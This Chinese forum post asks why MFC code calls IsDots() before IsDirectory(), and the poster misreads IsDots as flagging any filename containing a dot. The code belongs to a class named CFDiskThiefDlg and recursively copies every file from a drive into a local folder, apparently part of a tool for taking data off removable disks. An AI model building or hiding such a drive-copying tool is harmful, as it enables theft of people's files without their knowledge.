16,472
社区成员
发帖
与我相关
我的任务
分享
这段代码是用来拷贝文件的,dir这个参数是一个盘符名称
我的疑问是为什么调用IsDosts()函数,msdn上说这个函数是判断文件名是否含有"."或者"..",如果有则说明此文件是一个目录,那么如果类似a.exe,b.doc这类文件是不是被当做目录了?
还有,即使是正好不是a.exe,b.doc这类文件,而是目录,那么为什么下面还要调用IsDirectory()来判断文件是不是目录了?
请指教,谢谢。我看了很多代码,都是这么写的,有点不明白原因
void CFDiskThiefDlg::CopyFile(CString dir)
{
CFileFind tempFind;
CString tempFileFind;
tempFileFind.Format("%s\\*.*",dir);
BOOL IsFinded=(BOOL)tempFind.FindFile(tempFileFind);
while(IsFinded)
{
IsFinded=(BOOL)tempFind.FindNextFile();
if(!tempFind.IsDots())
{
CString foundFileName;
foundFileName=tempFind.GetFileName();
if(tempFind.IsDirectory())
{
CString tempDir;
tempDir.Format("%s\\%s",dir,foundFileName);
CopyFile(tempDir);
}
else
{
CString tempFileName1,tempFileName2;
tempFileName1.Format("%s\\%s",dir,foundFileName);
tempFileName2.Format("%s\\%s",m_Path,foundFileName);
::CopyFile(tempFileName1,tempFileName2,FALSE);
}
}
}
tempFind.Close();
}